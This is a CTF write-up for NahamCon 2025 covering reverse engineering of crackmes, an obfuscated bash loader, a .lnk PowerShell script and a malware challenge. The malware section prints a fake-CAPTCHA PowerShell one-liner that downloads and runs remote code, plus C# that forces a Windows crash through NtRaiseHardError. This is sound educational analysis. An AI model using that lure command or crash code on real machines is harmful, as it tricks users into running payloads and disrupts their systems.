During the weekend, I participated in NahamCon CTF 2025. Here’s a list of the challenges I managed to solve during the competition:
Sending Mixed Signals
, The Oddyssey
, Puzzle Pieces
, My First CTF
, Screenshot
, Free flags!
, Verification Clarification
, FlagsFlagsFlags
, Deflation Gangster
, It's locked
, What's a base amongst friends?
, and No! Not again
.
Most of these were considered easy and didn’t necessarily require a write-up. However, I decided to document a few of them, as they might still hold some educational or practical value.
One of the challenges was called Deflation Gangster. We were given a gangster.zip
file which, after unpacking, contained a folder named important_docs
with a single file: important_docs.lnk
.
Inspecting the .lnk file revealed a PowerShell script embedded in it with the following content:
[code]
$name = "important_docs";
$file = (get-childitem -Pa $Env:USERPROFILE -Re -Inc *$name.zip).fullname;
$bytes = [System.IO.File]::ReadAllBytes($file);
$size = (0..($bytes.Length - 4) | Where-Object {
$bytes[$_] -eq 0x55 -and
$bytes[$_+1] -eq 0x55 -and
$bytes[$_+2] -eq 0x55 -and
$bytes[$_+3] -eq 0x55
})[0] + 4;
$length = 53;
$chunk = $bytes[$size..($size + $length - 1)];
$out = "$Env:TEMP\$name.txt";
[System.IO.File]::WriteAllBytes($out, $chunk);
Invoke-Item $out;
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
[/code]
The script isn’t very complex, and here’s what it does:
important_docs.zip
in the user’s profile directory.0x55 0x55 0x55 0x55
(which is UUUU
in ASCII).important_docs.txt
.However, when I ran the script, it extracted garbage. Upon manually inspecting the ZIP file, I noticed there was no 0x55 0x55 0x55 0x55 pattern at all. That’s when I started digging through the raw bytes myself and noticed a suspicious-looking pattern:
Instead of UUUU
, I found the sequence DEFG
. While not identical, it was clearly a deliberate marker. Looking further, the following bytes resembled a base64-encoded string. I tried decoding it using:
[code]
echo "ZmxhZ3thZjExNTBmMDdmOTAwODcyZTE2MmUyMzBkMGVmOGY5NH0K" | base64 -d
[/code]
That gave me the flag. Challenge solved.
Still not entirely sure what the intended purpose of the script was 🤷♂️—possibly a red herring, or maybe the original file had been modified or corrupted. Either way, digging into the file manually did the trick.
This was an interesting one. We were given the following description:
This bin looks locked as a crypt to me, but I’m sure you can work some magic here.
All I know is that this came from a machine with a cryptic ID of just ‘hello’.
…and a flag.sh
script.
Upon inspecting the file, we can see it’s an obfuscated Bash script:
We could try deobfuscating it, but instead, I ran it with the -x
flag to print all commands as they execute:
This produces a lot of cryptic output, but toward the end of execution, we can spot the juicy part of the script:
[code]
_bcl_verify_dec ()
{
[ "TEST-VALUE-VERIFY" != "$(echo "$BCV" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "B-${1}-${UID}" -a -A 2> /dev/null)" ] && return 255;
echo "$1-${UID}"
}
_bcl_verify() { _bcl_verify_dec "$@"; }
_bcl_get ()
{
[ -z "$UID" ] && UID="$(id -u 2> /dev/null)";
[ -f "/etc/machine-id" ] && _bcl_verify "$(cat "/etc/machine-id" 2> /dev/null)" && return;
command -v dmidecode > /dev/null && _bcl_verify "$(dmidecode -t 1 2> /dev/null | LANG=C perl -ne '\''/UUID/ && print && exit'\'')" && return;
_bcl_verify "$({ ip l sh dev "$(LANG=C ip route show match 1.1.1.1 | perl -ne '\''s/.*dev ([^ ]*) .*/\1/ && print && exit'\'')" | LANG=C perl -ne '\''print if /ether / && s/.*ether ([^ ]*).*/\1/'\''; } 2> /dev/null)" && return;
_bcl_verify "$({ blkid -o export | LANG=C perl -ne '\''/^UUID/ && s/[^[:alnum:]]//g && print && exit'\''; } 2> /dev/null)" && return;
_bcl_verify "$({ fdisk -l | LANG=C perl -ne '\''/identifier/i && s/[^[:alnum:]]//g && print && exit'\''; } 2> /dev/null)" && return
}
_bcl_gen_p ()
{
local _k;
local str;
[ -z "$BC_BCL_TEST_FAIL" ] && _k="$(_bcl_get)" && _P="$(echo "$1" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "$_k" -a -A 2> /dev/null)";
[ -n "$_P" ] && return 0;
[ -n "$fn" ] && {
unset BCL BCV _P P S fn;
unset -f _bcl_get _bcl_verify _bcl_verify_dec;
return 255
};
BCL="$(echo "$BCL" | openssl base64 -d -A 2> /dev/null)";
[ "$BCL" -eq "$BCL" ] 2> /dev/null && exit "$BCL";
str="$(echo "$BCL" | openssl base64 -d -A 2> /dev/null)";
BCL="${str:-$BCL}";
exec /bin/sh -c "$BCL";
exit 255
}
BCL='\''aWQgLXUK'\''
BCV='\''93iNKe0zcKfgfSwQoHYdJbWGu4Dfnw5ZZ5a3ld5UEqI='\''
P=llLvO8+J6gmLlp964bcJG3I3mY27I9ACsJTvXYCZv2Q=
S='\''lRwuwaugBEhK488I'\''
C=3eOcpOICWx5iy2UuoJS9gQ==
for x in openssl perl gunzip; do
command -v "$x" >/dev/null || { echo >&2 "ERROR: Command not found: $x"; return 255; }
done
unset fn _err
if [ -n "$ZSH_VERSION" ]; then
[ "$ZSH_EVAL_CONTEXT" != "${ZSH_EVAL_CONTEXT%":file:"*}" ] && fn="$0"
elif [ -n "$BASH_VERSION" ]; then
(return 0 2>/dev/null) && fn="${BASH_SOURCE[0]}"
fi
fn="${BC_FN:-$fn}"
XS="${BASH_EXECUTION_STRING:-$ZSH_EXECUTION_STRING}"
[ -z "$XS" ] && unset XS
[ -z "$fn" ] && [ -z "$XS" ] && [ ! -f "$0" ] && {
echo >&2 '\''ERROR: Shell not supported. Try "BC_FN=FileName source FileName"'\''
_err=1
}
_bc_dec() {
_P="${PASSWORD:-$BC_PASSWORD}"
unset _ PASSWORD
if [ -n "$P" ]; then
if [ -n "$BCV" ] && [ -n "$BCL" ]; then
_bcl_gen_p "$P" || return
else
_P="$(echo "$P"|openssl base64 -A -d)"
fi
else
[ -z "$_P" ] && {
echo >&2 -n "Enter password: "
read -r _P
}
fi
[ -n "$C" ] && {
local str
str="$(echo "$C" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "C-${S}-${_P}" -a -A 2>/dev/null)"
unset C
[ -z "$str" ] && {
[ -n "$BCL" ] && echo >&2 "ERROR: Decryption failed."
return 255
}
eval "$str"
unset str
}
[ -n "$XS" ] && {
exec bash -c "$(printf %s "$XS" |LANG=C perl -e '\''<>;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'\''|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)"
}
[ -z "$fn" ] && [ -f "$0" ] && {
zf='\''read(STDIN,\$_,1);while(<>){s/B3/\n/g;s/B1/\\x00/g;s/B2/B/g;print}'\''
prg="perl -e '\''<>;<>;$zf'\''<'\''${0}'\''|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k '\''${S}-${_P}'\'' 2>/dev/null|perl -e '\''read(STDIN,\\\$_, ${R:-0});print(<>)'\''|gunzip"
LANG=C exec perl '\''-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);open($i,"'\''"$prg"'\''|");print$o(<$i>);close($i)||exit($?/256);$ENV{"LANG"}="'\''"$LANG"'\''";exec{"/proc/$$/fd/$f"}"'\''"${0:-python3}"'\''",@ARGV'\'' -- "$@"
}
[ -f "${fn}" ] && {
unset -f _bcl_get _bcl_verify _bcl_verify_dec
unset BCL BCV _ P _err
eval "unset _P S R fn;$(LANG=C perl -e '\''<>;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'\''<"${fn}"|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)"
return
}
[ -z "$fn" ] && return
echo >&2 "ERROR: File not found: $fn"
_err=1
}
[ -z "$_err" ] && _bc_dec "$@"
unset fn
unset -f _bc_dec
if [ -n "$_err" ]; then
unset _err
false
else
true
fi
[/code]
There’s a lot going on, but for now, we can focus on the top part — particularly the _bcl_verify_dec
and _bcl_get
functions.
_bcl_verify_dec
attempts to decode a string stored in the $BCV
variable using a password that’s formed by concatenating the provided argument with the value of $UID
."TEST-VALUE-VERIFY"
. If it matches, we know we’ve found the correct key.The _bcl_get function tries a few different techniques to generate that key, such as:
/etc/machine-id
dmidecode -t 1
blkid
fdisk -l
From this list, I immediately jumped to the first method — the machine ID — since the description mentioned the cryptic ID 'hello'
.
However, the machine ID was only part of the key; the other part was the UID
. Since that’s just the user ID, it shouldn’t be hard to brute-force the correct value.
Using a simple Bash loop, I searched for the matching key:
[code]
for uid in {0..2000}; do
echo "93iNKe0zcKfgfSwQoHYdJbWGu4Dfnw5ZZ5a3ld5UEqI=" |
openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "B-hello-$uid" -a -A 2>/dev/null |
grep -q "TEST-VALUE-VERIFY" && echo "Match found: $uid" && break
done
Match found: 1338
[/code]
Boom — we’ve got both pieces: machine ID (hello) and UID (1338). Now we just need to make sure the script picks those up when we run it.
To spoof /etc/machine-id
to return our desired value, I used the following technique:
> cat ./fake-machine-id
> hello
> sudo mount --bind ./fake-machine-id /etc/machine-id
Finally, to run the script with the spoofed machine ID and correct UID:
> cat /etc/machine-id
> hello
> env UID=1338 bash -x ./flag.sh
That did the trick — script verified, flag retrieved, challenge solved.
The category for this challenge was Malware, and we were given a link that looked like an attachment to download: Captcha[.]zip
.
However, clicking the link didn’t trigger a file download. Instead, it opened a webpage designed to trick us into executing an unverified script using the Win+R technique:
At that point, the script was already in our clipboard, ready to be pasted into a text editor for inspection.
[code]
powershell -NoP -Ep Bypass -c irm captcha.zip/verify | iex # ✅ ''I am not a robot - reCAPTCHA Verification ID: 9649''
[/code]
This first stage was a PowerShell command that downloaded and executed another script — obfuscated, of course.
The next stage involved yet another obfuscated PowerShell script, which performed a DNS query to retrieve a TXT record from a remote server. That DNS record contained — you guessed it — a base64-encoded script.
There were a few similar stages, each using slight variations of obfuscation in PowerShell.
The final stage was a bit different: it was still a PowerShell script, but this time it dynamically constructed a C# program. That program contained a method named Shot
, which called NtRaiseHardError
— a native Windows API that, when executed, causes a system crash (hopefully you’re running this in a VM!).
[code]
using System;
using System.Runtime.InteropServices;
public static class X {
[DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int Privilege, bool Enable, bool CurrentThread, out bool PreviousValue);
[DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(
uint ErrorStatus,
uint NumberOfParameters,
uint UnicodeStringParameterMask,
IntPtr Parameters,
uint ValidResponseOptions,
out uint Response
);
public static unsafe void Shot() {
bool t;
uint r;
// Enable SeShutdownPrivilege
RtlAdjustPrivilege(19, true, false, out t);
// Cause BSOD
NtRaiseHardError(0xC0000022, 0, 0, IntPtr.Zero, 6, out r);
}
}
[/code]
But the real payload came after that.
Although the crash would normally prevent further analysis if the script were simply executed, there was more happening under the hood: the script constructed an environment variable that contained the flag. The value was embedded as a base64 string and decoded at runtime. Extracting and decoding that value manually gave us the final flag.
The description reads:
Did you see the strings? One of those is right, I can just feel it.
Running strings on the binary immediately shows that it’s packed with UPX
, so after unpacking it, we can re-run strings and see the actual target content.
That reveals what the challenge is really about:
We’ve got flags — tons of them. Probably all fake except one. Our task is to find the correct one.
NOTE: Not sure if this task was supposed to be related to Free flags!.
That one also gave us a bunch of flags, but it was easier — only one was properly constructed with valid hex digits. This one is trickier.
We can run the binary and test any flag:
NahamCon/2025/flags_flags_flags
❯ ./flagsflagsflags
Enter the flag:
flag{4f51ef2be454d76351cdb8b69b8cd48e}
Incorrect flag!
But brute-forcing through ~100k embedded flags would take forever.
Time for Ghidra.
Immediately we notice two things:
"Incorrect flag!"
is used in the function FUN_00494040
.This function isn’t too long. Observing the flow reveals a key section:
[code]
LAB_004942c7 XREF[1]: 0049425b(j)
004942c7 48 39 d9 CMP RCX,RBX
004942ca 7e 50 JLE correct_flag
004942cc 44 0f b6 MOVZX R8D,byte ptr [RBX + RAX*0x1] input flag
04 03
004942d1 44 0f b6 MOVZX R9D,byte ptr [RDX + RBX*0x1] all the flags
0c 1a
004942d6 45 38 c1 CMP R9B,R8B
004942d9 74 c3 JZ LAB_0049429e
004942db 48 8d 15 LEA RDX,[DAT_0049e7e0] = 10h
fe a4 00 00
004942e2 48 89 54 MOV qword ptr [RSP + local_110],RDX=>DAT_0049e7e0 = 10h
24 58
004942e7 48 8d 15 LEA RDX,[PTR_s_Incorrect_flag!_008897d8] = 004b8d49
ea 54 3f 00
[/code]
Time to switch to dynamic analysis.
We jump into gdb
and set a breakpoint at 0x004942c7
. After that, we run the binary, and once we input a flag from the embedded list, we hit our breakpoint.
At this point:
rax
holds the input flagrdx
points to the flag being checked againstIf we print the contents at the address in rdx
, we can see the correct flag directly — no guessing needed.
Challenge solved.
Yeah, so… It’s a crackme… It’s in your FAVORITE language to Reverse Engineer!
Rust!
Rust tends to strike fear in reverse engineers — not because of what it does, but because of how verbose and noisy the decompiled output can be. But this time? It wasn’t that bad.
Let’s throw this Windows binary into Ghidra.
After a bit of decompilation work, we start with strings again and trace from "Correct! The flag is: "
to the function FUN_1400014a9
.
This function is a bit longer than usual, but we quickly spot an interesting pattern near where the success string is used:
[code]
140001ed1 48 b8 b0 MOV RAX,0xDFB432BC61353FB0
3f 35 61
bc 32 b4 df
140001edb 31 c9 XOR ECX,ECX
140001edd 48 ba 1d MOV RDX,0xBAC16AC89DF00E1D
0e f0 9d
c8 6a c1 ba
140001ee7 49 b8 35 MOV R8,0xCFA8C7711A026A35
6a 02 1a
71 c7 a8 cf
140001ef1 4c 8d 0d LEA R9,[data_used_with_input] = 3Ah
78 45 00 00
LAB_140001ef8 XREF[1]: 140001f1b(j)
140001ef8 48 83 f9 26 CMP RCX,0x26
140001efc 74 38 JZ LAB_140001f36
140001efe 48 0f af c2 IMUL RAX,RDX
140001f02 4c 01 c0 ADD RAX,R8
140001f05 41 89 c2 MOV R10D,EAX
140001f08 41 c1 ea 15 SHR R10D,0x15
140001f0c 44 32 14 0f XOR R10B,byte ptr [RDI + RCX*0x1]
140001f10 4c 8d 59 01 LEA R11,[RCX + 0x1]
140001f14 46 3a 14 09 CMP R10B,byte ptr [RCX + R9*0x1]=>data_used_with_input = 3Ah
140001f18 4c 89 d9 MOV RCX,R11
140001f1b 74 db JZ LAB_140001ef8
[/code]
What’s happening here?
We initialize a few constants in RAX
, RDX
, and R8
. Then we enter a loop where:
RAX
is multiplied by RDX
R8
is added0x15
We can emulate this logic with Python like so:
[code]
import string
data = open('./crackme-rust-fun.exe','rb').read()
flag_bytes = data[0x5270:0x5270+0x26]
rax = 0xDFB432BC61353FB0
rdx = 0xBAC16AC89DF00E1D
r8 = 0xCFA8C7711A026A35
def compute():
global rax, rdx, r8, rcx
rax = (rax * rdx) & 0xFFFFFFFFFFFFFFFF
rax = (rax + r8) & 0xFFFFFFFFFFFFFFFF
r10d = rax & 0xFFFFFFFF
r10d >>= 21
r10b = r10d & 0xFF
return r10b
correct_flag = ''
for i in range(0x26):
v = compute()
c = flag_bytes[i]
correct_flag += chr(v ^ c)
print(f'{correct_flag=}')
[/code]
Running this script reveals the flag. Clean and simple — once you’ve dug through the Rust noise.
What’s a base amongst friends though, really?
This was a fun one. From the description, I was certain it would involve some base-XX conversion, but it ended up taking me more time than I initially expected.
Running the binary gives us the initial setup:
❯ ./whats-a-base
Enter the password:
aaaaaaaaaa
Invalid password!
Okay. We can see an error message if we provide an invalid password, which we’ll use as a reference point in our analysis. The code itself was hard to look at—written in Rust again—but some key patterns stood out.
One clue appeared in FUN_001079b0
, where we see a comparison with an interesting hardcoded string:
[code]
if ((local_a0 == 0x58) &&
(iVar3 = bcmp(local_a8,
"m7xzr7muqtxsr3m8pfzf6h5ep738ez5ncftss7d1cftskz49qj4zg7n9cizgez5upbzzr7n9cjosg45wqjosg3mu"
,0x58), iVar3 == 0)) {
[/code]
Another important fragment was in FUN_00108b40
, showing what looked like a conversion loop:
[code]
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[i >> 3];
local_38 = param_3;
...
*(lStack_68 + lVar2) = cVar1;
local_60 = lVar2 + 1;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[(i & 7) << 2 | bVar10 >> 6];
...
*(lStack_68 + 1 + lVar2) = cVar1;
local_60 = lVar2 + 2;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[bVar10 >> 1 & 0x1f];
...
*(lStack_68 + 2 + lVar2) = cVar1;
local_60 = lVar2 + 3;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[(bVar10 & 1) << 4 | bVar7 >> 4];
...
*(lStack_68 + 3 + lVar2) = cVar1;
local_60 = lVar2 + 4;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[bVar7 * '\x02' & 0x1f | bVar8 >> 7];
...
*(lStack_68 + 4 + lVar2) = cVar1;
local_60 = lVar2 + 5;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[bVar8 >> 2 & 0x1f];
...
*(lStack_68 + 5 + lVar2) = cVar1;
local_60 = lVar2 + 6;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[(bVar8 & 3) << 3 | local_74 >> 5];
...
*(lStack_68 + 6 + lVar2) = cVar1;
local_60 = lVar2 + 7;
cVar1 = "ybndrfg8ejkmcpqxot1uwisza345h769"[local_74 & 0x1f];
...
[/code]
This definitely looked like base32 encoding using a custom alphabet: ybndrfg8ejkmcpqxot1uwisza345h769.
Not wanting to dive deeper into more Rust reverse engineering, I jumped into gdb
and set a breakpoint at RVA 0x7cea
. Trying different inputs gave me outputs like:
aaa
→ cfosnyyy
aaaa
→ cfosnaey
The trailing ys resemble base64’s =
padding. After a few more experiments, I concluded the transformation does the following:
MSB
to LSB
.y
s).Knowing this, and the target encoded string from the binary, we can reverse the process to recover the original input. This quick Python script does exactly that:
[code]
output = 'm7xzr7muqtxsr3m8pfzf6h5ep738ez5ncftss7d1cftskz49qj4zg7n9cizgez5upbzzr7n9cjosg45wqjosg3mu'
a = ''.join([bin(tab.index(x))[2:].zfill(5) for x in output])
''.join([chr(int(a[i:i+8],2)) for i in range(0, len(a), 8)])
[/code]
Run it and pass the result to the binary—you’ll get the flag.
This year’s challenges were well-constructed and fun to dive into, offering a variety of techniques across reverse engineering, scripting, and analysis. While some of the tasks leaned toward the approachable side for experienced participants, they still managed to showcase clever ideas and solid execution. A great set for sharpening skills without getting bogged down in overly complex puzzles.